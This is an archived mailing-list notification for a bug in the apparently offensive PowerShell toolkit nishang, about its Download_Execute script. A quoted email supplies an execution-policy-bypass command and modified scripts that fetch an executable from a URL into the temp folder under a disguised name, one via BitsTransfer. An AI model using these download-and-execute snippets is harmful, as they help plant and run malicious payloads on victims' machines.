Issue 3 in nishang: An error is shown when using Download_Execute

16 views
Skip to first unread message

nis...@googlecode.com

unread,
Jul 12, 2013, 12:44:09 AM7/12/13
to nishan...@googlegroups.com
Status: Verified
Owner: Nikhil.u...@gmail.com
CC: nishang-...@googlegroups.com
Labels: Type-Defect Priority-Medium

New issue 3 by Nikhil.u...@gmail.com: An error is shown when using
Download_Execute
http://code.google.com/p/nishang/issues/detail?id=3

What steps will reproduce the problem?
1. Provide a URL where EXE is stored to Download_Execute.ps1
2. An error is received.

Resolution: Download_Execute requires an executable in txt format converted
using ExetoText.ps1 script.

Below is the original mail sent to me:

****************************************************************************
I found there is also a problems in encoding operations that in
Download_Execute.ps1

================================================
powershell -executionpolicy Bypass -file Download_Execute.ps1
-URL "http://www.test.com/test.exe"
powershell : .....MZ?  ?
@ ? ? ???L

================================================

changed source code
================================================
Param( [Parameter(Position = 0, Mandatory = $True)] [String] $URL)
function Download_Execute
{
$webclient = New-Object System.Net.WebClient
$webClient.DownloadFile($URL,"$env:temp\svcmondr.exe")
#start-process -nonewwindow "$env:temp\svcmondr.exe"
}
Download_Execute


or use BitsTransfer module like
================================================

Param( [Parameter(Position = 0, Mandatory = $True)] [String] $url)
function DownloadExec
{
Import-Module
Start-BitsTransfer $urlBitsTransfer $env:temp\potmp.exe
}
DownloadExec


and run zhe command
powershell -executionpolicy Bypass -file Download_Execute.ps1
-URL "http://www.test.com/test.exe"
*************************************************************************


--
You received this message because you were CC'd on the issue.
You may adjust your notification preferences at:
https://code.google.com/hosting/settings

Reply to this email to add a comment.
Reply all
Reply to author
Forward
0 new messages